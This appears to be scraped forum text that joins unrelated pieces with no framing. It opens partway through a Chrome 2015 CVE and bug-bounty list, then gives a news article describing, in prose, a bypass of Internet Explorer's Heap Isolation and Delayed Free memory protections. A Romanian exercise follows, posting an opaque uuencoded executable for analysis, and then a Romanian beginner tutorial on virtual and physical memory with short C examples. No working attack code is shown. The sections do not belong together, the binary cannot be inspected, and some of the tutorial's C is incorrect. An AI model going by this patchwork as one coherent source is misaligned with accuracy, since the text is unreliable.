CVE-2014-7932: Use-after-free in DOM. Credit to Atte Kettunen of OUSPG. [$2000][427266] High CVE-2014-7933: Use-after-free in FFmpeg. Credit to aohelin. [$2000][427249] High CVE-2014-7934: Use-after-free in DOM. Credit to cloudfuzzer. [$2000][402957] High CVE-2014-7935: Use-after-free in Speech. Credit to Khalil Zhani. [$1500][428561] High CVE-2014-7936: Use-after-free in Views. Credit to Christoph Diehl. [$1500][419060] High CVE-2014-7937: Use-after-free in FFmpeg. Credit to Atte Kettunen of OUSPG. [$1000][416323] High CVE-2014-7938: Memory corruption in Fonts. Credit to Atte Kettunen of OUSPG. [$1000][399951] High CVE-2014-7939: Same-origin-bypass in V8. Credit to Takeshi Terada. [$1000][433866] Medium CVE-2014-7940: Uninitialized-value in ICU. Credit to miaubiz. [$1000][428557] Medium CVE-2014-7941: Out-of-bounds read in UI. Credit to Atte Kettunen of OUSPG and Christoph Diehl. [$1000][426762] Medium CVE-2014-7942: Uninitialized-value in Fonts. Credit to miaubiz. [$1000][422492] Medium CVE-2014-7943: Out-of-bounds read in Skia. Credit to Atte Kettunen of OUSPG. [$1000][418881] Medium CVE-2014-7944: Out-of-bounds read in PDFium. Credit to cloudfuzzer. [$1000][414310] Medium CVE-2014-7945: Out-of-bounds read in PDFium. Credit to cloudfuzzer. [$1000][414109] Medium CVE-2014-7946: Out-of-bounds read in Fonts. Credit to miaubiz. [$500][430566] Medium CVE-2014-7947: Out-of-bounds read in PDFium. Credit to fuzztercluck. [$500][414026] Medium CVE-2014-7948: Caching error in AppCache. Credit to jiayaoqijia. Google said it awarded an additional $35,000 in bounties to Atte Kettunen of OUSPG, Christian Holler, cloudfuzzer and Khalil Zhani for work done during the development cycle to keep vulnerabilities out of the stable release. This is the first Chrome release of the year; in November, Chrome 39 was released and included removal of support for the fallback to SSL 3.0, the target of the POODLE attack. Source

For a long time, Microsoft’s monthly Patch Tuesday security bulletins have periodically addressed use-after free vulnerabilities, the latest class of memory corruption bugs that have already found their way into a number of targeted attacks. Microsoft has implemented mitigations to address memory related vulnerabilities that afford successful attackers control over the underlying computer. Most notably, Microsoft has stood behind its Enhanced Mitigation Experience Toolkit, or EMET, suggesting it on several occasions as a temporary mitigation for a vulnerability until the company could push out a patch to users. Most recently, Microsoft brought new memory defenses to the browser, loading Internet Explorer with two new protections called Heap Isolation and Delayed Free, both of which take steps inside IE to frustrate and deny the execution of malicious code. Researchers have had a growing interest in bypassing EMET and memory protections for some time, with some successful bypasses disclosed and ultimately addressed by Microsoft. And until the Operation Snowman attacks, they were exclusively the realm of white hats—as far as we know publicly. As with the EMET protections, Heap Isolation and Delay Free were bound to attract some attention and last week at ShmooCon, a hacker conference in Washington, D.C., Bromium Labs principal security researcher Jared DeMott successfully demonstrated a bypass for both. DeMott’s bypass relies on what he termed a weakness in Microsoft’s approach with the new protections. With Heap Isolation, a new heap is created housing sensitive internal IE objects, while objects such as JavaScript likely to be targeted remain in the default heap, he said. “Thus if a UaF condition appears, the attacker should not be able to replace the memory of the dangling pointer with malicious data,” he wrote in a report published this week. This separation of good and bad data, however, isn’t realistic given the complexity of code and objects. Delayed Free then kicks in by delaying the release of an object to memory until there are no references to the object on the stack and 100,000 bytes are waiting to be freed, DeMott said. Taking advantage of these conditions, DeMott’s bypass works through the use of what he calls a “long-lived dangling pointer.” “If an attacker can locate a UaF bug that involves code that maintains a heap reference to a dangling pointer, the conditions to actually free the object under the deferred free protection can be met (no stack references or call chain eventually unwinds),” DeMott said. “And finding useful objects in either playground to replace the original turns out not to be that difficult either.” DeMott’s bypass is a Python script which searches IE for all objects, sizes and whether an object is allocated to the default or isolated heap. “This information can be used to help locate useful objects to attack either heap,” he wrote. “And with a memory garbage collection process known as coalescing the replacement object does not even have to be the same size as the original object.” DeMott said an attack would be similar to other client-side attacks. A victim would have to be lured to a website via phishing or a watering hole attack and be infected with the exploit. “If you have a working UaF bug, you have to make sure it’s of this long-live type and can basically upgrade it to an existing attack to bypasses these mitigations,” DeMott told Threatpost. “There’s no secret sauce, like every attack, it just depends on a good bug.” DeMott said he expects use-after-free to be the next iteration of memory corruption attacks. “There’s always a need [for attackers] to innovate,” DeMott said, pointing out that Microsoft deployed ASLR and DEP in response to years of buffer overflow and heap spray attacks, only to be thwarted by attackers with use-after-free vulnerabilities. “It’s starting to happen, it’s coming if it’s not already here.” Source

Se da urmatorul executabil compilat: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 begin 644 addr.tar.bz2 M0EIH.3%!629363;W0%@`"%Y_________[__[________W_3^[O]_:9KMSVVD M^'5N?V??X`I_;W`U=P2<=W?;W+X[ITDWSNG6<$@]S-M[/AII$T"IX1HT:::3 M4_5/"9,HTVIFFAJ8GJ>4]&HT-#:)Z1DVB:&F(9&33U,0--`#0TTS0F$,CTC3 M31M33$!H`T;*#0DTQ`:F330FTC2,IM3]32#U`TT:``````-``T#(-````#0& M@``````!H`:F")*::>H`-!H`:!H`!H!H```!B!H```&@&@```&30````-`&C M)H"0I$`1(VTFIY(VIHT#U`&)H``-`&@`>H```-!HT``#U````````&@``#L4 M#0`T&@-`TR`-``-`:`,@`````#U#(T:`R:``T#(&31H```,@`&@)$B$)IJ;* MGZ3$GIJ'IE-/*'I&FFFC0`!IZF@``::#0`#0`!H`T`]0`!H`:``#30``#_JX M&G85F@4L65B:1&0;$UWJ:NU5+GHO;3%JN0F2+9G<.BRET18&W9X[MZ_7D68L MO*RG8M7HGZ6HM.>`WYJ$`5=UKT*MRY6&$V-T=&EP+QRNYC*1QW6+0Y?_9[J- M[XS*\K2W*:;;<318,2E!R(TRO1#C9RZS[91`R9!G9BXS,>:S=S4646)1":\A M-!*46D[J,`VM!0CY:@2Y40?QCT*?A<7HXG*YO.Y.6RYSN'O>'O.EE*<336J$ MIV$+7D`97-67M-%WQ=HQ$'CD(G68UQ-E"74#*MOA?.$28*M@>M<O'<0ZK56^ MY:!U!@+)T,K([5J2K%N1:D"``>:0$1<^:A^CW4Y[1QN(2$0%*Z>_5[']':\S M0=!X%W-CQ>BW(2`(0GS$4'.W.LUSD0((Z2HFI/P??PYF6B0#;UU^QITW%E;< MT72A.ZY5A"3R_Z-DY&B$RZ\Q3#%Q;,B*/)G;C.-=\U!QHH*>()^FDFZ*ED+Z M&.QQRMH16:LN%+`H&\?1ZOP-2VFLY?)B"PK)!?J2NL7$JIK+571'*LM-?*,. M._]1BVN7].4Z&Q[]LKM'IL6U;"6=P(F67?\W^WXKV]^=!Q$8,-(&U#0H8@4- M)8;`+C!)9;21@XA`NK8!<:MUQ!E.C$C9&@1E,"NU#`T5V((+I5$.D"PQ*.PP M",;!M)NE*5LK*U*ZJ*C?0P*W1HJ=RD&PC`J&6&M&W7%AR8&!I6+8'?>!@7&% MUJ-%IK"N1(H[32C&VVPK:2O,C"6K]!1FHS<2L-(*F+4.TP56")"DT@H:2F,) M,`U+`FTE-I"J8&?:0IL0#:0V@W=A?-(DT:%B*S$!)B-.U&&2T$&&_+3TH%3` MC=Z@,<;HB^T9ML:"C"C(P(8\HU21081C&.[@JJ543LL4@VRK#9*(&A2!2$7C M)A\MHFIG'F5=!41AW>'[T[?E6<#7*PKAYB!_Q7L+QFC>P\#?OOW[@_#+0;(5 MEZQAIB.T(84`K2@+EC()<0B;,I71Q0X&EX5/.8`_+4*(JAC6JZ9*CVU2QL0O M:3S`K2]]J+K\.=A>Z^8I>A2VZ#C&RK5-0E@!W%J&T0*"9Z",DT&SR08KOLJ` M;SV3!K&IS@6;8+A&@*^D3(5]H09+TFR@2G'\YCZK]<_H+2W%BNNZ/6-'%?>: M:$Y$(E@)V!P)@N+@,9/X('C[X8:B!C&6"#J`D`>.7Z:J1U)8:&TKP``#.(!$ M`Z`0"-(-M+/,T:K$52C]OMUI43X]Y+#;&'>L1:8&H>4&*CQ<;4@@H*SD/ZV\ MCZ=SI^QF^SD)Q,Q4"-.X*(T,477T&<Q3(8Z]_:[S+A>:-.UK>=@L9FUX<$+: MD#$<K;A#<HV48CW6`9JRHT#"XFK@Z*1M43$VFJQL<8?K^1"T%-%!&1)CGR&Y M)@Y?-Q0FQ#!;!.8B,8CSR#[0XB9F"&K`S:,P\I!2=``RB>B@@(!318D!A7,# M(P\W"!"!*%$(`'!2121`9O1&*!`Q!7I!['"`A'C2[O-'^@6DI\DE3*R7,WN5 M(E`DR$F@.K[.0O](3"2(GI=/(G.5V:"EA8:AV-?T$?/,IR!P!<6CBS.!9#2( MW21I)L39!HPFB`A-G9$(TZHVN8>/38QJA6V!31`AM2S(4VA%ZPU(P"YG:/O= MFA(4(>T^Q(1>/][=K16N3V^H*?<6EDCUM>L<()(L,S"!*7,R)K@I_"H8P<HV M12'9SXZ<0.[9JAI"?2,[\F[<!`Z,K.@L-+&8;PQ4MNFK9)2WR"AW38Z*59T> M?E2"[G=FLS"K>5;6!-`W0GC,*?AF:"=,[QYRM08=B`L/I8@Q7<9F68#P(4BJ M(4LBHRVI-HV?2M7@)!?(_LX,WD,`D'+9R2Q,F;#"6L(`-4%3"VV4#.(-EA#" MVHI/34A3+TL(/&6J(EBY917W0W8U<BK$SY`4#Q_R+$E)F`502=G1:ZQ*=#.W M+IH)D\JG6!SE1V(AZJ676X/Q,\?8Y@NI:-;5"*FC"H@+'<1?.DZZ9CM]'%D9 MPS,BM.ND#ZZ*'?R&X*/)SI9SUG4VBU7KU"81P.7J9XQW0""K9@\XA*_0GB@J M(1$$A,)48%(!B=:,7AM+'/F$!LFMJ],S@6XXPFD&H+0"]Z+FN#0I6#/Q7X MX!GSZZX[Q'I*42F^H='G=#X^#2@:$0T@8M?.&*.>+(9`!UL:4Q'6HY6@TQ]. M<TRV-(;#8;Z_*.MM!B*4+%MW)8ZO^_LA>UR$U2?J[450#R&LCEJ(-P^`Y+ MVSV&G[GSI<F1*L0+`2O/(Y=2L^"Q*&*%L*3@,3@.?T1//J:*9)*;8"6#J2J> MQ8+*(J^_D7F,]4UHTC!U?WS%O:HRJI_FFL)8S,<&%C25,I1,<6@]7/^!Q$Q1 MMN64$&H"C.B+/#2*`=&_QR+PW<6F$`/Q+=-<^T(P2$-[%QWSFIF:-"51(I*P M%?!DI>NCDAEI5'&ER3IKIH(NZA$R@OE5=(A%^7;W+K3`@*J8AT0PS>7.W49D M5RVJ(M1P,.9$8A/"H%-E1S)P%@"(-6'@'"M!&@%$)R;XX*%\1`"\`PEQ9,3P MH.6,(2^Z-)6LY.[:DD"3&A':,L=*P&``V6V@-)0+<FN?(%$94HYUCH1OS21> MWW9BF^Y>$5`KO%P7)"["Y60P!S&$=!EG90"EQ4D>6&V4D+S=[Q6!;H<`M#1W ML%O1I%40NM#PJV*KC$<*%#--A@S#A2=\PF%9(JHOI2B!CI-0I23,.BLIW1U4 MUTY!*`*,$:J)5-%0/"W$,(P!WZ,:>'BE9%P@I#$%07AB%FN14*N1T!+A>O8E M$SSAN"`K<DA02BD2BLV+#`$"U$%`P(A7)NFQNN$@-D!J$#PT(Y0DJ*$.4'SA MBW6B(/-U;I7B!5QBORO)JJE+E,RI.$"D;$QKQ'JA"$[41J$0,5U$$%F9,"&G M,-#$GI;9B*T+U9<W8AF<0&`.1A1@&@S,&$@&REA9FBB<?+$*Q+?JX^X(Y*0_ M':4W.8_(F%0:`\MPW9TY?-"*:9"@R]!*=&>(F<SF9F.7$*K.7J5BZ4KD29YJ MR*]%9ZP#?3=2-]XG;I.SRM1[A,5BW5O'0;_N3_ZWS-_@`,$-//K^#59NQOFK M_6$TLO75(5CT<$6"+.3)IICMU:/:O0O]WMD`L*W40P_7)28YPB^PO`80(-W1 M`8/+I7K=7LA`.@GMBWXRE*U\%.*!4*[)K)(FA:UKBA:&-=4MYRF-!J@HG.L" M*45BAG:EB&--6@&0;%L-12)N9%GO_16<J@OH2?6ULO6K8D9!11I#.RAAHU+P MX3PICW1UGXEI>N#TT/K*K#&!,=?\BF]OLZ-L^PRZU9A",(@$Q:9GJ#_&WTM> M]-<0C14?:?##!"8J#$&P8"ZDRS0T+Y_-ZB.`N[A2?&EHP*GY+04/+VZ6]#>I M-=EAI?T\712SB9>%5:NR\\SYY4[;+&&4HDG457@21(P5:0W<<1B0TD#'^978 M_0>'E3`DK'$H/-%R43:/7=H6H*LM,^%@8@#Y![6]5@!*`4?Y?D,O:"[KAX\Y /\7UO@_XNY(IPH2!M[H"P ` end -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.10 (GNU/Linux) iF4EAREIAAYFAk+7fsEACgkQ7qSRZzZm+uAZpQD9FJYfNCm0eZ6ini/FuUxhrOPx Te40REn3xLmaH83JKdUBAKRj2cQEouVJpbmUnIhzbT7F1gt7dnO0rxkrdveNalH7 =vX0e -----END PGP SIGNATURE----- Se cere: 1.Identificati care sunt variabilele definite 2.Specificati adresa de memorie pentru fiecare variabila 3.Pentru fiecare variabila in parte identificati segmentul adresei de memorie in care a fost stocata variabila

Dupa ce veti termina de citit acest tutorial veti cunoaste urmatoarele lucruti: Physical Memory Virtual memory Memory addressing (basics) Voi folosi cei mai simpli termeni ca fiecare sa inteleaga cum functioneaza Physical memory se refera la memoria fizica unde vin stocate datele Memoria fizica poate fi clasificata in 2 tipuri: Active memory Inactive Memory Physical Active memory (RAM) Aici vin stocate programele atunci cand vin executate.Termenul este folosit pentru a descrie cantitatea totala de memorie RAM instalata in calculator.(Se refera la memoria RAM).Poate fi paragonata cu un birou pe care se lucreaza cu diverse documente. Physical Inactive memory (hard drive) Aici vin stocate datele,termenul este folosit pentru a descrie accesarea datelor stocate in harddisk.Poate fi paragonat cu o biblioteca. Virtual memory Se refera la o arhitectura care este in grad sa simuleze un spatiu de memoriemai mare decat memoria Physical Active Memory (RAM).Presupunem ca vine definit un spatiu virtual cu adrese de la 1 la 10 .Acest spatiu poate fi folosit pentru a incarca programele atunci cand vin executate.Acum multi va veti intreba daca e o memorie virtuala unde stocheaza totusi datele.Ei bine aceasta memorie virtuala va stoca datele in RAM si in SWAP(care se afla pe har disk) Cum am mai spus memoria contine adrese unde pot fi stocate datele deoarece atunci cand se vor cere anumite date pentru a fi procesate de catre cpu trebuie sa stie de unde anume sa le scoata .Asadar pentru acest lucru vine impartita in diverse adrese.Adresele din memoria virtuala corespund la adresele de la memoria fizica(RAM) deoarece memoria virtuala este unul si acelasi lucru cu memoria fizica RAM doar ca numerele adreselor sunt diverse .Exemplu adresa 1 poate fi echivalenta la adresa 11 in RAM. In momentul in care un program va trebui sa stocheze o variabila in adresa 1 a memoriei virtuale aceasta adresa va fi tradusa in adresa 11 si variabila va fi stocata in RAM iar daca memoria RAM este plina va fi stocata in SWAP pana cand se va elibera spatiu in RAM.Sigurul lucru in legatura cu memoria virtuala pe care ar trebui sa il cunoasteti este ca este un spatiu virtual iar ceea ce vine stocat aici vine stocat in RAM sau in SWAP.Acest spatiu virtual se ocupa doar sa puna la dispozitie adrese de memorie cate programe care vor fi traduse si stocate in SWAP.Traducerea adreselor din memoria virtuala catre memoria fizica vine facuta prin MMU care este un component hardware.MMU traduce adresele virtuale in adrese fizice.MMU se ocupa de fiecare cerere de access la memorie de catre CPU. Memory addressing(basics) Note:voi defini cateva concepte basic deoarece in acest tutorial nu voi explica diversele tipuri de segmente (cei care au facut ASM sau C stiu la ce ma refer (ma voi referi la memory segmentation intrun alt tutorial unde voi explica conceptul de stack,heap,bss,text,data) Avem un executabil program1. Acest program cand vine executat va fi incarcat intro anumita memorie.Presupunem ca program1 are 5MB probabil va veti intreba cata memorie va ocupa acest program cand va fi executat.Program1 va ocupa 5MB de memorie + cata memorie a fost alocata in momentul in care a fost programat. Spre exemplu daca in program1 am stocat o variabila in memorie atunci cand va fi executat programul va ocupa 5mb + memoria variabilei declarate + alta memorie care a fost declarata chiar daca nu vine folosita. Unde va fi stocat acest program? In care memorie?Fiecare bucata din acest program va pleca la o anumita adresa a memoriei virtuale care va fi tradusa de catre MMU in adrese care corespund memoriei fizice RAM iar in cazul in care memoria fizica RAM este deja ocupata de catre alte programe acesta va fi stocat in swap asadar in momentul in care se va elibera memorie in RAM va trece in RAM. Cum arata o adresa de memorie? Vom crea cel mai simplu program posibil pentru a demonstra acest lucru #include <stdio.h> int main(void) { //Declar variabila var int var; //Stampez adresa in memorie a variabilei var printf ("Address of var is %p\n", &var); return 0; } o data executat acest program am obtinut urmatorul rezultat : Address of var is 0xbffff9ec Adresa variebilei acestui program este 0xbffff9ec care tradusa in decimal e 3221223916 In memorie adresa arata cam asa 10111111111111111111100111101100 Dupa cum vedeti eu am decis cum vreau sa fie stampata adresa variabilei var , daca careva prefera sa fie stampata intrun mod divers poate poate sa o faca Exemplu: #include <stdio.h> int main(void) { //Declar variabila var int var; //Stampez adresa in memorie a variabilei var in diverse moduri printf ("Address of var is %p\n", &var); //escaped hex C printf ("Address of var is %X\n", &var); //capital hex printf ("Address of var is %x\n", &var); //hex printf ("Address of var is %u\n", &var); //decimal return 0; } Output Address of var is 0xbffff9ec Address of var is BFFFF9EC Address of var is bffff9ec Address of var is 3221223916 Variabila var se gaseste in memoria virtuala la adresa 3221223916 intrun segment al memoriei chemat stack in acest caz (Memoria poate fi impartita in mai multe segmente dar cum am spus mai sus nu voi intra in detaliu)Nu toate variabilele se gasesc in stack . MMU va traduce adresa 3221223916 intro adresa fizica care este stocata in RAM.Daca memoria ram ar fi fost plina.MMU ar fi tradus adresa virtuala 3221223916 intro adresa fizica stocata in SWAP.Am creat o diagrama care explica unde si cum vine stocata memoria programelor care vin executate. Dupa cum vedeti in imagine memoria virtuala vine reprezentata doar de un tabel de adrese pe care MMU le va traduce in alte drese a memoriei fizice (RAM) sau (SWAP) in cazul in care RAM este ocupata. Daca aveti intrebari sunteti liberi sa le faceti ,in acest tutorial am folosit cat mai putini termeni informatici pentru a explica cum functioneaza memoria virtuala si memoria fizica, daca nu ati inteles ceva nu ezitati sa intrebati.